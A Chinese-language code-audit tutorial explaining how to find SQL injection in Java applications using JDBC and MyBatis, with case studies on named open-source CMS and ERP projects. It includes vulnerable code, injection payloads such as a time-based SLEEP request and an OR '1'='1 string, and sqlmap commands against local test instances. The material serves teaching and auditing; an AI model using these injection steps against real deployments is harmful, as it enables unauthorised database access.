参考链接:万字长文 | 零基础快速上手JAVA代码审计
1.Java中常见数据库接口
JAVA常用框架SQL注入审计
JDBC,Mybatis,Mybatis-plus,Hibernate
1.1.JDBC
JDBC(Java Database Connectivity,Java 数据库连接)是 Java 提供的一套用于执行 SQL 语句的 API,它为多种关系型数据库提供统一访问。JDBC 由一组用 Java 语言编写的类和接口组成,使得 Java 程序能够与各种数据库进行交互,执行数据的增删改查等操作。
1.1.1.JDBC执行流程
1.注册驱动
2.获取建立连接
3.构建运行的SQL语句statement
4.运行语句
5.处理运行结果
6.关闭连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
@Test
public void testJdbc() throws ClassNotFoundException, SQLException {
//1.注册驱动
Class.forName("com.mysql.cj.jdbc.Driver");
//2.获取连接
String url = "jdbc:mysql://127.0.0.1:3306/mybatis";
String username = "root";
String password = "root";
Connection conn = DriverManager.getConnection(url, username, password);
//3.获取statement执行sql
String sql = "select * from user";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
List<user> users = new ArrayList<>();
while (rs.next()) {
int id = rs.getInt("id");
String name = rs.getString("name");
int age = rs.getInt("age");
Short gender = rs.getShort("gender");
String phone = rs.getString("phone");
user user = new user(id, name, age, gender, phone);
users.add(user);
}
users.stream().forEach(user -> {
System.out.println(user);
});
rs.close();
stmt.close();
}
|
1.1.2.JDBC注入分析
JDBC存在两种方法执行SQL语句,分别为PreparedStatement和Statement,相比于Statement,PreparedStatement会对SQL语句进行预编译,Statement会直接拼接SQL语句造成SQL注入漏洞
1
2
3
4
5
|
String name = "Alice' OR '1'='1"; // 恶意输入
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
rs = stmt.executeQuery(sql);
SELECT * FROM users WHERE name = 'Alice' OR '1'='1'
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
安全演示代码:// 创建 PreparedStatement 对象
String sql = "SELECT * FROM users WHERE name = ?";
pstmt = conn.prepareStatement(sql);
// 设置参数
pstmt.setString(1, "Alice"); // 第一个占位符绑定值 "Alice"
// 执行查询
rs = pstmt.executeQuery();
只有使用了?占位符才会使用预编译,直接拼接仍会产生注入
漏洞代码:
1.未使用?作为占位符
2.使用in进行拼接:delete from user where id in("+IDS+")
3.使用like进行拼接:select * from uses where name like '"% + con + %"'
4.order by / from 等无法预编译
select * from users where title = ?"+ "order by'"+time+"' asc
|
1.1.3.JDBC实战案例1—JFinalCMS
https://github.com/jwillber/JFinalCMS
https://mp.weixin.qq.com/s/-AUMo_aD5IBJmff2oS16dQ
查看pom配置文件查看相关使用依赖,在SQL注入中,Mybatis,Mybatis-plus,Hibernate都需要引入pom依赖,只有JDBC是Java原生的API接口,不需要引入依赖
查看完成配置文件后,对于JDBC的网站只能使用关键词进行检索
1
|
如:+ like select order by .....
|

可以看到这段代码username直接凭借到SQL语句中,只要name和username我们可控,即会产生SQL注入漏洞
既然要看name和username参数,那么我们需要判断name和username是如何传入的,可以看到name和username是通过findPage函数传入,那么我们需要前往查看findPage函数
1
2
3
4
5
6
7
8
9
10
11
|
public Page<Admin> findPage(String name,String username,Integer pageNumber,Integer pageSize){
String filterSql = "";
if(StringUtils.isNotBlank(name)){
filterSql+= " and name like '%"+name+"%'";
}
if(StringUtils.isNotBlank(username)){
filterSql+= " and username like '%"+username+"%'";
}
String orderBySql = DbUtils.getOrderBySql("createDate desc");
return paginate(pageNumber, pageSize, "select *", "from cms_admin where 1=1 "+filterSql+orderBySql);
}
|
跳到findPage函数调用页面,发现直接跳转到controller控制层,并且name和username是通过getPara传入,getpara函数是官方写的,用来接收get/post参数,所以name和username参数可控,路由是admin/admin

1
|
python sqlmap.py -u "http://127.0.0.1:8080/admin/admin?name=Lsec666*"
|
在本地测试SQL注入时可以使用数据库监控工具,判断传入参数是否传入数据库
1.1.4.JDBC实战案例2—mrcms
记一次不知名小CMS代审过程-MRCMS
1
2
|
数据库拼接语句
+ append concat join
|
通过搜索append关键字发现拼接,并且SQL语句没用使用预编译进行占位
通过注释和SQL语句可以发现这是一段根据id删除数据的语句,其中ids是参数,并且没用预编译,所以如果ids参数我们可控那么就存在SQL注入漏洞,看哪个类调用了deleteByIds函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
// 批量删除
@Override
public boolean deleteByIds(Class<?> clzz, String ids) {
// 校验删除字符串,传字符串会抛异常
List<Long> idList = StringUtil.splitLong(ids,",");
String prefix = getPreFix();// 表前缀
String tableName = clzz.getAnnotation(Entity.class).value();
String primaryKey = clzz.getAnnotation(Entity.class).key();
StringBuilder sql = new StringBuilder();
sql.append("delete from ").append(prefix).append(tableName)
.append(" where ").append(primaryKey).append(" in(")
.append(StringUtils.join(idList,",")).append(")");
return jdbcTemplate.update(sql.toString()) > 0 ? true : false;
}
|
可以看到这个controller调用了Dao层的deleteByIds方法,并且rid是我们可以传入的参数,所以存在SQL注入漏洞
1
2
3
4
5
6
7
8
9
10
11
|
//删除文章
@ResponseBody
@RequestMapping("/delete")
public Object delete(@RequestParam("rid") String rid){
boolean status = commonDao.deleteByIds(Article.class, rid);
if(status){
return new ResultMessage(true,"删除成功!");
}else{
return new ResultMessage(false,"删除失败!");
}
}
|
1
|
python sqlmap.py -u "http://127.0.0.1/admin/article/delete?rid=1*"
|
1.2.Mybatis框架
MyBatis 是一个优秀的持久层框架,它简化了数据库操作的开发,提供了一种灵活的方式来将 Java 对象与数据库表进行映射。MyBatis 的核心思想是通过 XML 或注解配置 SQL 语句,并将查询结果自动映射到 Java 对象中。
与传统的 JDBC 相比,MyBatis 提供了更高的抽象层次,减少了样板代码,同时保留了对 SQL 的完全控制权。
执行流程:
1.配置文件解析
2.SqlSessionFactory创建
3.SqlSession获取
4.SQL语句执行
5.结果映射处理
6.事务管理
7.资源释放
1
2
|
安全写法:select * from user where id = #{id};
不安全写法:select * from user where id = ${id};
|
1.2.1.Mybatis实战案例1—铭飞CMS
5.2.8 · 铭飞/MCMS - Gitee.com
先判断是什么框架,发现在pom.xml中搜索mybatis不存在依赖,但是确实是采用mybatis的只是依赖存放在外部库中,并且搜索关键字也能发现使用的是mybatis框架


对于Mybatis框架的SQL注入,全局搜索${,发现一处存在,那么存在没用预编译一定存在漏洞吗?关键还要看没用预编译的参数是否可控,下面这个SQL语句的调用过程中,我们只能对categoryType和ID进行可控,所以这里不存在SQL注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
<!-- 根据站点编号、开始、结束时间和栏目编号查询文章编号集合 -->
<select id="queryIdsByCategoryIdForParser" resultMap="resultBean" >
select
ct.id article_id,c.*
FROM cms_content ct
LEFT JOIN cms_category c ON ct.category_id = c.id
where ct.del=0
<!-- 查询子栏目数据 -->
<if test="categoryId!=null and categoryId!='' and categoryType==1">
and (ct.category_id=#{categoryId} or ct.category_id in
(select id FROM cms_category where find_in_set(#{categoryId},CATEGORY_PARENT_IDS)>0))
</if>
<if test="categoryId!=null and categoryId!='' and categoryType==2">
and ct.category_id=#{categoryId}
</if>
<if test="beginTime!=null and beginTime!=''">
<if test="_databaseId == 'mysql'">
AND ct.UPDATE_DATE >= #{beginTime}
</if>
<if test="_databaseId == 'oracle'">
and ct.UPDATE_DATE >= to_date(#{beginTime}, 'yyyy-mm-dd hh24:mi:ss')
</if>
</if>
<if test="endTime!=null and endTime!=''">
<if test="_databaseId == 'mysql'">
and ct.UPDATE_DATE >= #{endTime}
</if>
<if test="_databaseId == 'oracle'">
and ct.UPDATE_DATE >= to_date(#{endTime}, 'yyyy-mm-dd hh24:mi:ss')
</if>
</if>
<if test="flag!=null and flag!=''">
and ct.content_type in ( #{flag})
</if>
<if test="noflag!=null and noflag!=''">
and (ct.content_type not in ( #{noflag} ) or ct.content_type is null)
</if>
<if test="orderBy!=null and orderBy!='' ">
<if test="orderBy=='date'">ORDER BY content_datetime</if>
<if test="orderBy=='hit'">ORDER BY content_hit</if>
<if test="orderBy=='sort'">ORDER BY content_sort</if>
<if test="orderBy!='date' and orderBy!='hit' and orderBy!='sort'">
ORDER BY ct.id
</if>
<choose>
<when test="order!=null and order!=''">
${order}
</when>
<otherwise>
desc
</otherwise>
</choose>
</if>
</select>
|
除了全局搜索外,有些项目会将有漏洞代码封装到库中,所以直接搜索是找不到的,像这个铭飞CMS就存在这个问题

上面不存在,继续搜索关键词,找到对应的SQL语句,看不懂直接让AI帮忙解释,看看他的意思
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<select id="queryBySQL" resultType="Map" databaseId="mysql">
select *
from ${table}
<where>
1=1
<foreach item="item" index="key" collection="wheres" open="AND"
separator="AND" close=""> ${key} = #{item}
</foreach>
<include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>
</where>
<if test="orderBy !=null">
order by ${orderBy}
<if test="order != null">
<if test="order =='desc'">
desc
</if>
<if test="order =='asc'">
asc
</if>
</if>
<if test="order==null">desc</if>
</if>
<if test="begin != null">
limit ${begin}
<if test="end !=null ">
,${end}
</if>
</if>
</select>
|

1
2
3
|
<foreach item="item" index="key" collection="wheres" open="AND"
separator="AND" close=""> ${key} = #{item}
</foreach>
|
这段代码的作用是动态生成 SQL 条件,遍历 wheres 集合中的键值对,生成类似 key = value 的条件,并用 AND 连接。它是 MyBatis 中非常常见的动态 SQL 写法,适用于需要根据传入参数动态构建查询条件的场景。
key和item都是wheres集合中的键值对,也就是说如果wheres这个集合我们可控,那么这段代码就存在SQL注入漏洞,接下来就是从后往前找,从Dao层到Services层再到COntroller层

发现很多实现类都调用了这个方法,一个一个看Ctrl+ALT+F7,查看快速用法,一路跟下来可以看到BaseAction调用了queryBySQL这个方法,并且where可控,继续跟进validated方法
1
2
3
4
5
6
7
8
9
|
protected boolean validated(String tableName,String fieldName, String fieldValue) {
Map where = new HashMap<>(1);
where.put(fieldName, fieldValue);
List list = appBiz.queryBySQL(tableName, null, where);
if (ObjectUtil.isNotNull(list) && !list.isEmpty()) {
return true;
}
return false;
}
|
来到controller层中,controller层中可控参数为fieldName,fieldValue,services层中将这两个参数封装为Map集合,并传入queryBySQL这个存在没用预编译的方法内,所以存在漏洞
Map where = new HashMap<>(1);
where.put(fieldName, fieldValue);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
@ApiOperation(value = "校验参数接口")
@GetMapping("/verify")
@ResponseBody
public ResultData verify(String fieldName, String fieldValue, String id, String idName){
boolean verify = false;
if(StringUtils.isBlank(id)){
verify = super.validated("mdiy_page",fieldName,fieldValue);
}else{
verify = super.validated("mdiy_page",fieldName,fieldValue,id,idName);
}
if(verify){
return ResultData.build().success(false);
}else {
return ResultData.build().success(true);
}
}
/${ms.manager.path}/mdiy/page
|
找路由,二级路由是/verify,一级路由是/${ms.manager.path}/mdiy/page,ms.manager.path是存放在spring的配置文件中
1
|
http://127.0.0.1:8080/ms/mdiy/page/verify?fieldName=123&fieldValue=123
|

此时使用SQLMAP进行梭哈即可,由于是后台注入所以需要带上Cookie
1.2.2.Mybatis实战案例2—华夏ERP v2.1
1.先判断框架Mybatis和mybatis-plus
2.搜索关键词${
1
2
3
4
5
6
7
8
9
10
11
12
|
<select id="selectByConditionRole" resultMap="com.jsh.erp.datasource.mappers.RoleMapper.BaseResultMap">
SELECT *
FROM jsh_role
WHERE 1=1
and ifnull(delete_Flag,'0') !='1'
<if test="name != null">
and name like '%${name}%'
</if>
<if test="offset != null and rows != null">
limit #{offset},#{rows}
</if>;
</select>
|

一部一部往前推,找到传参点,传参
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
@RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
@RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
@RequestParam(value = Constants.SEARCH, required = false) String search,
HttpServletRequest request)throws Exception {
Map<String, String> parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search);
PageQueryInfo queryInfo = new PageQueryInfo();
Map<String, Object> objectMap = new HashMap<String, Object>();
if (pageSize != null && pageSize <= 0) {
pageSize = 10;
}
String offset = ParamUtils.getPageOffset(currentPage, pageSize);
if (StringUtil.isNotEmpty(offset)) {
parameterMap.put(Constants.OFFSET, offset);
}
List<?> list = configResourceManager.select(apiName, parameterMap);
objectMap.put("page", queryInfo);
if (list == null) {
queryInfo.setRows(new ArrayList<Object>());
queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
}
queryInfo.setRows(list);
queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}
|
/{apiName}/list这里的apiName表示一个路径参数,表示适用于不同的模块之间都可以走这个方法
1
2
|
/user/list 也走这个方法
/good/list 也会走这个方法
|
1
2
3
|
将请求参数转换为集合
Map<String, String> parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search);
|
所以抓包来看那么数据包的请求参数为集合,并且集合中有name字段,如下面这个数据包,search作为参数,传入一个集合,集合中键的值为name
1
2
3
4
5
6
7
8
9
|
GET /role/list?search={"name":"'AND SLEEP(5)--"}¤tPage=1&pageSize=15 HTTP/1.1
Host: 192.168.145.252:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.145.252:8080/pages/manage/role.html
|
也可以从mybatis的运行日志中看到,查询语句成功带到数据库中去执行了

1.2.3.Mybatis实战案例3—Tmall商城系统后台SQL注入漏洞
1.判断结构,网站使用SpringBoot+mybatis,经典MVC架构,对于Mybatis网站直接搜索关键词${

可以看到几个Mapper映射文件中存在${符号,判断变量是否可控,OrderUtil类中有两个属性,表明不是写死的,是可控的,继续跟,看Service层哪些方法调用这个SQL语句,并且传参是否存在Order By关键字

实现类中传参存在orderUtil,看
1
2
3
4
|
@Override
public List<ProductOrder> getList(ProductOrder productOrder, Byte[] productOrder_status_array, OrderUtil orderUtil, PageUtil pageUtil) {
return productOrderMapper.select(productOrder,productOrder_status_array,orderUtil,pageUtil);
}
|
发现这三个Controller控制层调用了List方法

依次查看这三个控制层传参是否可控,发现这个按条件查询订单处存在可控变量orderBy,并且路由显示这个是路径参数,直接去后台寻找功能点抓包

1
2
3
4
5
6
7
8
9
10
11
|
GET /tmall/admin/order/0/10?productOrder_code=2021090811554201&productOrder_post=111&productOrder_status_array=0&productOrder_status_array=1&productOrder_status_array=2&productOrder_status_array=3&productOrder_status_array=4&orderBy=*&isDesc=true HTTP/1.1
Host: 192.168.145.252:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.145.252:8080/tmall/admin
Cookie: JSESSIONID=D3AF9A47B4B8E59EE5F8C2648F690365; username=admin; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1743836521; Hm_lvt_104e825088869ff9c5855f24ab8204c2=1743836532
Priority: u=0
|


2.Mybatis使用${}接收传参但不存在SQL注入漏洞
举个例子:假如根据id查询用户接口处存在SQL注入漏洞,后端mapper层查询代码如下:
1
2
|
@Select * from user where id = ${userId};
User getUser(@Param("user_id") int userId);
|
pojo实体类层代码中id为int类型
1
2
3
4
5
|
// POJO
public class UserQuery {
private int id; // 或 Integer
// getter/setter
}
|
此时,Spring MVC 在绑定 HTTP 请求参数到 int id 时,会强制进行类型转换
- 如果用户传:
?id=123 → 成功,id = 123
- 如果用户传:
?id=abc → 400 Bad Request(类型转换失败)
- 如果用户传:
?id=123' OR '1'='1 → 同样 400 错误,因为 ' 不是数字
由于恶意字符压根就传入不到mybatis层进行处理,就被spring抛出异常了,所以不存在SQL注入